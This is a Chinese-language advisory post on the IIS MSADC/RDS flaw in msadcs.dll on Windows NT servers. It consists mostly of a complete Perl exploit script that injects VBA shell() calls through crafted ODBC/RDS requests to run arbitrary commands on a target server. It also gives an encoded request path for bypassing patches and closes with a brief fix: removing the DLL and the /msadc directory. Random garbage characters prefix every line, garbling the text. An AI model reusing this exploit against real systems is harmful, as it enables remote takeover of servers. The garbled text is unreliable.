IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
LWoG4s?w ^)!F9h+ 涉及程序:
.{KjEg 6 Microsoft NT server
#t8{R~y"gv cLa]D[H 描述:
]M>9ULQ 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
UV
4>N BcjP+$k4_ 详细:
v44}%$ 如果你没有时间读详细内容的话,就删除:
AmPMY:1i" c:\Program Files\Common Files\System\Msadc\msadcs.dll
AE`We$! 有关的安全问题就没有了。
*_ Z#O, zJDSbsc$% 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
1 2++RkL# Ma *y=d;,1 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
W%2
80\h 关于利用ODBC远程漏洞的描述,请参看:
/iNa'W5\ =p^He! http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm S d/?& /yz=Cj oz 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
_Y=2/*y^ http://www.microsoft.com/security/bulletins/MS99-025faq.asp 5ercD q+KzIde|% 这里不再论述。
:WI.LKlo~ 2$_9cF Wm 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
93+"D` zl-2$}<a /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
!UOCJj.cA 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
KTvzOI8 <^b7cOFQ Cz4)Yz #将下面这段保存为txt文件,然后: "perl -x 文件名"
GLn{s +x9cT G #!perl
,uw132<b #
I)q,kP@yY # MSADC/RDS 'usage' (aka exploit) script
d_n7k g+ #
Q9d`zR] # by rain.forest.puppy
pME{jD
#
[S.ZJUns # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
kt[:@Nda9 # beta test and find errors!
mS#zraJn5 R1F5-#?'E use Socket; use Getopt::Std;
1:NrP'W^ getopts("e:vd:h:XR", \%args);
Eh-n +jg9$e " print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
lPLz@Up~ sS&Z ,A if (!defined $args{h} && !defined $args{R}) {
^mAYBOE print qq~
G*S|KH Usage: msadc.pl -h <host> { -d <delay> -X -v }
>FhK#*Pa -h <host> = host you want to scan (ip or domain)
f:g,_|JD$ -d <seconds> = delay between calls, default 1 second
7'wS\/e4a -X = dump Index Server path table, if available
L,d
LE-L -v = verbose
Q^p|Ldj -e = external dictionary file for step 5
$^&ig ut>4U'.H Or a -R will resume a command session
n~g)I& !-m&U4Ku6o ~; exit;}
'Dvv?>=& KXV[OF&J $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
f84:hXo6 if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
l5+gsEux] if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
|F.)zC5{ if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
9}B`uJ $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
|uW:r17 if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
GDYFU*0 !6Sd(2 if (!defined $args{R}){ $ret = &has_msadc;
JFgoN,xn die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
{0! ~C=P pfx3C* print "Please type the NT commandline you want to run (cmd /c assumed):\n"
d:G]1k;z . "cmd /c ";
`h}q
Eo` $in=<STDIN>; chomp $in;
7bxA]s{m $command="cmd /c " . $in ;
pZ#ap<|>I 7Cjd.0T=( if (defined $args{R}) {&load; exit;}
H:p Z-v* zqDR7+] print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
g%u&Zkevx &try_btcustmr;
UpXz&k l!#m&'16" print "\nStep 2: Trying to make our own DSN...";
2MA]j T &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
tNVV)C Y!6/[<r$~k print "\nStep 3: Trying known DSNs...";
PA6=wfc &known_dsn;
'8Phxx| 2xw6 5z print "\nStep 4: Trying known .mdbs...";
3:%QB9qc]' &known_mdb;
+i\&6HGK;- O4<g%.HC6 if (defined $args{e}){
Bx[rC print "\nStep 5: Trying dictionary of DSN names...";
q9"=mO0J+ &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
kj+#TnF- K/ &?VIi`z print "Sorry Charley...maybe next time?\n";
[OOS`N4< exit;
Oi"a:bCU s] /tYJYl ##############################################################################
4'KOpl
K -/]W+[ sub sendraw { # ripped and modded from whisker
"uLjIIl sleep($delay); # it's a DoS on the server! At least on mine...
EkT."K my ($pstr)=@_;
F_xbwa*= socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
xUF_1hY die("Socket problems\n");
Ld^GV if(connect(S,pack "SnA4x8",2,80,$target)){
>h Y"
3 select(S); $|=1;
UN"(5a8. print $pstr; my @in=<S>;
C8a*Q" select(STDOUT); close(S);
)m3q2W return @in;
tU"raP^= } else { die("Can't connect...\n"); }}
,2oF:H E^w:KC2@ ##############################################################################
~f|Z%&l| `ovtHl3Q sub make_header { # make the HTTP request
$ _8g8r} my $msadc=<<EOT
K; FW POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
]0D}T'wM User-Agent: ACTIVEDATA
PLM _#+R> Host: $ip
$o@R^sJ Content-Length: $clen
}U@m*dEG Connection: Keep-Alive
i`
A _DRrznaw ADCClientVersion:01.06
TG
n-7 88 Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
v+6@cC ,n2i@?NHZ --!ADM!ROX!YOUR!WORLD!
r!}al5~& Content-Type: application/x-varg
DaNW~rd{ Content-Length: $reqlen
5)1+~ B - ~O'vLG EOT
3+MB5T ; $msadc=~s/\n/\r\n/g;
PIcrA2ll return $msadc;}
HEK-L)S.
* *cWmS\h| ##############################################################################
Vbh6HqAHxJ Y^$HrI(vq sub make_req { # make the RDS request
4X
NxI1w) my ($switch, $p1, $p2)=@_;
N132sN2 my $req=""; my $t1, $t2, $query, $dsn;
SEKN|YQV/t mzL[/B#>M if ($switch==1){ # this is the btcustmr.mdb query
tXF]t
$query="Select * from Customers where City=" . make_shell();
7J >Gd $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
^[TV;9I* $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
} :iBx ^ L:cjY/ elsif ($switch==2){ # this is general make table query
9T2xU3UyY $query="create table AZZ (B int, C varchar(10))";
F-n"^.7 $dsn="$p1";}
~WVO bC@k>yC- elsif ($switch==3){ # this is general exploit table query
Ex@`O+ $query="select * from AZZ where C=" . make_shell();
&!7+Yb(1 $dsn="$p1";}
Y5A~E#zw OVoO6F] elsif ($switch==4){ # attempt to hork file info from index server
k/Mp6<?C: $query="select path from scope()";
O^{1RV3:,T $dsn="Provider=MSIDXS;";}
4h
5_M8I U+]Jw\\l
elsif ($switch==5){ # bad query
g: %9jf $query="select";
O]u",J5 $dsn="$p1";}
mAqDjRV1 H;_yRUY9 $t1= make_unicode($query);
:,]S}R $t2= make_unicode($dsn);
u7]<=*V] $req = "\x02\x00\x03\x00";
vM0_>1nN $req.= "\x08\x00" . pack ("S1", length($t1));
eVy2|n9rH $req.= "\x00\x00" . $t1 ;
$7gB_o$zz $req.= "\x08\x00" . pack ("S1", length($t2));
pV`$7^#X $req.= "\x00\x00" . $t2 ;
H~+xB1 $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
+Takde%~ return $req;}
'%4P;HO \d68-JS@~ ##############################################################################
;i)KHj' y,C!9l sub make_shell { # this makes the shell() statement
g,lY ut return "'|shell(\"$command\")|'";}
o\4t4}z~'f FUTn ##############################################################################
fp !:u DnyYMe!r sub make_unicode { # quick little function to convert to unicode
~@M7&%] my ($in)=@_; my $out;
'"O&J}s; for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
?z.Isvn return $out;}
;w6s<a@Zh OhWC}s ##############################################################################
19y
0$e_V lSCY5[? sub rdo_success { # checks for RDO return success (this is kludge)
i.@*tIK my (@in) = @_; my $base=content_start(@in);
vo;5f[>4i if($in[$base]=~/multipart\/mixed/){
fEiJ~&{& return 1 if( $in[$base+10]=~/^\x09\x00/ );}
y_%&]/% return 0;}
gduxA/aT EVz9WY ##############################################################################
BR3mAF q6)N*? sub make_dsn { # this makes a DSN for us
Ru7L>(Njs my @drives=("c","d","e","f");
22bT3 print "\nMaking DSN: ";
ZQLB`n@ foreach $drive (@drives) {
gHH&IzHF print "$drive: ";
g\J)= ,ju, my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
M7p8^NL "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
mVrK z . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
\]a uSO $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
3;D?|E]1 return 0 if $2 eq "404"; # not found/doesn't exist
E!YmcpCl if($2 eq "200") {
fv|%Ocm foreach $line (@results) {
:|($,3* return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
n2;(1qr } return 0;}
]
zIfC>@R [Yoa"K ##############################################################################
8>v7v&Bh| uE"2kn sub verify_exists {
WhenwQT my ($page)=@_;
~FNPD'`t my @results=sendraw("GET $page HTTP/1.0\n\n");
0$?qoS return $results[0];}
)+k[uokj *vXDuhQ ##############################################################################
Yoe les- X@eg<]'m sub try_btcustmr {
(V^QQ !: my @drives=("c","d","e","f");
W&LBh%"g my @dirs=("winnt","winnt35","winnt351","win","windows");
Lqq*Nr M3PVixli3 foreach $dir (@dirs) {
B~BUWWMfp print "$dir -> "; # fun status so you can see progress
|oFI[PE foreach $drive (@drives) {
6|i`@|# print "$drive: "; # ditto
&LwJ'h+nd $reqlen=length( make_req(1,$drive,$dir) ) - 28;
L&rO6 $reqlenlen=length( "$reqlen" );
k~ZBJ+
94 $clen= 206 + $reqlenlen + $reqlen;
;7)OSGR a\Tr!Be, my @results=sendraw(make_header() . make_req(1,$drive,$dir));
Z!k5"\{0pE if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
*SXSF95 else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
@s3aR*ny$ @t "~ ##############################################################################
w# xncH:1 N.k+AQb sub odbc_error {
}q/(D? my (@in)=@_; my $base;
o<~-k,{5P my $base = content_start(@in);
rn[$x(G if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
|:\$n}K $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
54;l*}8Hl $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
,K`E&hS $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
aGdpecv return $in[$base+4].$in[$base+5].$in[$base+6];}
4|I7:~ print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
)Fw
@afE~ print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
\=$EmHF $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
7j4ej|Fjo dw'<" +zO ##############################################################################
|;X?">7NW s0_-1VU sub verbose {
TB;3` my ($in)=@_;
F]/L! return if !$verbose;
EY,;e\7O, print STDOUT "\n$in\n";}
3w[<cq.! +e&m#d ##############################################################################
:<'i-Ur8 cfrvy^>, sub save {
)Ix-5084 my ($p1, $p2, $p3, $p4)=@_;
%AzPAWcN open(OUT, ">rds.save") || print "Problem saving parameters...\n";
*#ob5TBq[ print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
m~Kch~~] close OUT;}
!V$6+?2 >!:$@!6L ##############################################################################
!$%/
rQ9 ;:#?~%7> sub load {
b#?ai3E my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
=F",D= open(IN,"<rds.save") || die("Couldn't open rds.save\n");
~`nm<
@p=<IN>; close(IN);
c,3'wnui $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
0~PXa(!^K $target= inet_aton($ip) || die("inet_aton problems");
'xLM>6[wz print "Resuming to $ip ...";
sw 3:HNG= $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
N (:E K if($p[1]==1) {
gQ[] $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
.!7Fe)(x $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
w~cq%% my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
Cg]3(3 if (rdo_success(@results)){print "Success!\n";}
$ uz1 else { print "failed\n"; verbose(odbc_error(@results));}}
{UV<=R,E elsif ($p[1]==3){
I>YtWY|ed if(run_query("$p[3]")){
FOlA* U4U print "Success!\n";} else { print "failed\n"; }}
:>AW@SoTp elsif ($p[1]==4){
!_^{udB} if(run_query($drvst . "$p[3]")){
h=iA;B^> print "Success!\n"; } else { print "failed\n"; }}
2m)kyQ exit;}
BCa90 a6#{2q ##############################################################################
"2vNkO## Hz!U_? sub create_table {
LoV*YSDAY my ($in)=@_;
: e0R7sj $reqlen=length( make_req(2,$in,"") ) - 28;
?C#F?N0 $reqlenlen=length( "$reqlen" );
[`Qp;_K?t $clen= 206 + $reqlenlen + $reqlen;
Y_Z
&p#Q! my @results=sendraw(make_header() . make_req(2,$in,""));
j"D0nG, return 1 if rdo_success(@results);
YN5OuKMUd' my $temp= odbc_error(@results); verbose($temp);
YQB]t=Ha return 1 if $temp=~/Table 'AZZ' already exists/;
WW8YB" return 0;}
N#-kk3!Z; kERaY9L\ ##############################################################################
=JySY@?9 F-reb5pt.= sub known_dsn {
L[QI 5N # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
B4*X0x my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
KH@) +Rj "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
x#}j3"
PP "banner", "banners", "ads", "ADCDemo", "ADCTest");
go%X%Os] x`=5l` foreach $dSn (@dsns) {
yw3U"/yw print ".";
T0np<l]A next if (!is_access("DSN=$dSn"));
]Xkc0E1 if(create_table("DSN=$dSn")){
gS(: c. print "$dSn successful\n";
Lct+cKKU if(run_query("DSN=$dSn")){
8HH.P`Vk# print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
5x1jLPl' print "Something's borked. Use verbose next time\n";}}} print "\n";}
zx]M/=7,V# R2H\;N ##############################################################################
^) b7m h?pGw1Q sub is_access {
s$nfY.C my ($in)=@_;
K~hlwjrt $reqlen=length( make_req(5,$in,"") ) - 28;
;ZqD60%\ $reqlenlen=length( "$reqlen" );
BS<>gA
R;/ $clen= 206 + $reqlenlen + $reqlen;
pQgOT0f my @results=sendraw(make_header() . make_req(5,$in,""));
)V+Dqh,-g my $temp= odbc_error(@results);
k9VQ6A verbose($temp); return 1 if ($temp=~/Microsoft Access/);
k f K"i return 0;}
hwol7B> :#!F 7u ##############################################################################
MT#[ -M\ k^%TJ.y@ sub run_query {
#.G>SeTn2} my ($in)=@_;
q&Ua(I
$reqlen=length( make_req(3,$in,"") ) - 28;
4#Nd;gM2 $reqlenlen=length( "$reqlen" );
[r<
Y0|l,m $clen= 206 + $reqlenlen + $reqlen;
+P6 my @results=sendraw(make_header() . make_req(3,$in,""));
PQ!?gj return 1 if rdo_success(@results);
qaSv]k. my $temp= odbc_error(@results); verbose($temp);
kU9AfAe return 0;}
>8HRnCyp/ nh.v?| ##############################################################################
%^@0tT ojs/yjvx sub known_mdb {
%KVRiX my @drives=("c","d","e","f","g");
[~r$US my @dirs=("winnt","winnt35","winnt351","win","windows");
w\Eve: my $dir, $drive, $mdb;
#(}_2x5 my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
/SM#hwFxJ& Y?SJQhN6W # this is sparse, because I don't know of many
$,@+Ua
my @sysmdbs=( "\\catroot\\icatalog.mdb",
/ z>8XM& "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
ea;c\84_N "\\system32\\certmdb.mdb",
{}gk4xr "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
gGz_t,= C4d1*IQk my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
K1:)J.ca_ "\\cfusion\\cfapps\\forums\\forums_.mdb",
[~H`9Ab= "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
Iz=E8R g "\\cfusion\\cfapps\\security\\realm_.mdb",
SxQDqoA~ "\\cfusion\\cfapps\\security\\data\\realm.mdb",
C2%3+ "\\cfusion\\database\\cfexamples.mdb",
4>eg@s N "\\cfusion\\database\\cfsnippets.mdb",
\A"a>e "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
|"&4"nwa "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
*wl_8Sis} "\\cfusion\\brighttiger\\database\\cleam.mdb",
g}`CdVQ2M< "\\cfusion\\database\\smpolicy.mdb",
2MrR|hLx "\\cfusion\\database\cypress.mdb",
xo3)dsX "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
5 `mVe0uI "\\website\\cgi-win\\dbsample.mdb",
6m<9^NT "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
q:eAL'OkM "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
6EGEwx ); #these are just
Eu_0n6J foreach $drive (@drives) {
D#(Pg foreach $dir (@dirs){
vx ,6::%] foreach $mdb (@sysmdbs) {
Gs?sO?j print ".";
|-?b)yuAz if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
~0t'+. print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
XX;%:?n if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
T3 /LUm print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
7[,f;zG } else { print "Something's borked. Use verbose next time\n"; }}}}}
"A$Y)j<#G s7gf7E#Y foreach $drive (@drives) {
hkm3\wg foreach $mdb (@mdbs) {
`OK
}q print ".";
hj[g2S%X if(create_table($drv . $drive . $dir . $mdb)){
\p|!=H@ print "\n" . $drive . $dir . $mdb . " successful\n";
CF4y$aC# if(run_query($drv . $drive . $dir . $mdb)){
N($]))~3& print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
9]9(o } else { print "Something's borked. Use verbose next time\n"; }}}}
g9Ll>d)tE3 }
>l[N]CQ iSax-Mc ##############################################################################
Z/;SR""wa sRG3`>1 sub hork_idx {
!r,drb print "\nAttempting to dump Index Server tables...\n";
Ke!O^zP92 print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
)FCqYCfk $reqlen=length( make_req(4,"","") ) - 28;
#,pLVt< $reqlenlen=length( "$reqlen" );
h Nwb.[ $clen= 206 + $reqlenlen + $reqlen;
w,$1 7+]3 my @results=sendraw2(make_header() . make_req(4,"",""));
XsC bA8Qv if (rdo_success(@results)){
n40Z my $max=@results; my $c; my %d;
b
/ySt< for($c=19; $c<$max; $c++){
K ajyQ"j $results[$c]=~s/\x00//g;
^u74WN $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
$<#sCrNX $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
c`Cn9bX $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
t~M_NEPxV $d{"$1$2"}="";}
`XP Tf#9j foreach $c (keys %d){ print "$c\n"; }
WBdb[N6\ } else {print "Index server doesn't seem to be installed.\n"; }}
ShP V!$0 .BvV[`P ##############################################################################
6P8X)3CE<T Dr<Bd;) sub dsn_dict {
vC1 `m open(IN, "<$args{e}") || die("Can't open external dictionary\n");
5=\b+<pE while(<IN>){
AnQRSB ( $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
P[~a'u next if (!is_access("DSN=$dSn"));
1+Oo Qs if(create_table("DSN=$dSn")){
K9iR>put print "$dSn successful\n";
AmHIG_' if(run_query("DSN=$dSn")){
>?tpGEZ\ print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
X-)6.[9f print "Something's borked. Use verbose next time\n";}}}
c2QC`h(Wb print "\n"; close(IN);}
5Z'pMkn3 pe8MG(V ##############################################################################
!xSGZD=AD MG|NH0k sub sendraw2 { # ripped and modded from whisker
3$TpI5A sleep($delay); # it's a DoS on the server! At least on mine...
&%<G2x$ my ($pstr)=@_;
tQ"PCm
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
P_}$|zj7 die("Socket problems\n");
W-MQMHQ if(connect(S,pack "SnA4x8",2,80,$target)){
tfO
_b5g print "Connected. Getting data";
Im2g2] open(OUT,">raw.out"); my @in;
&f$jpIyVX select(S); $|=1; print $pstr;
YGB|6p( while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
}0
Z3Lrv close(OUT); select(STDOUT); close(S); return @in;
;,D7VxWhY } else { die("Can't connect...\n"); }}
>i'3\ Y) Z>Bi ##############################################################################
xZhh%~ SRMy#j- sub content_start { # this will take in the server headers
`C3F?Lch my (@in)=@_; my $c;
n']@Spm for ($c=1;$c<500;$c++) {
RSy1 wp4W if($in[$c] =~/^\x0d\x0a/){
%tpjy, if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
lw7wvZD else { return $c+1; }}}
No I=t return -1;} # it should never get here actually
x\lua w!Z3EA ;` ##############################################################################
l#Iof)@# zk?lNs sub funky {
;kdJxxUox my (@in)=@_; my $error=odbc_error(@in);
"p<f#s} if($error=~/ADO could not find the specified provider/){
$OmtN" print "\nServer returned an ADO miscofiguration message\nAborting.\n";
cOIshT1 exit;}
7#Mi`W if($error=~/A Handler is required/){
lgU7jn print "\nServer has custom handler filters (they most likely are patched)\n";
zg]9~i8 exit;}
{R(q7ALR if($error=~/specified Handler has denied Access/){
8L0#<"'0 print "\nServer has custom handler filters (they most likely are patched)\n";
9n1O@~ exit;}}
V;.=O}Lr nlh%O@, ##############################################################################
oA`Ncu5 V_h, UYN sub has_msadc {
I6\l6 o my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
gmt`_Dpm$ my $base=content_start(@results);
q^EG'\<^ return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
y "gYv return 0;}
x-cg df sOv:/' ########################
0D=6-P?^W nD|Bo 9 (;\JCeGA 解决方案:
o[aRG7C 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
^k/@y@% 2、移除web 目录: /msadc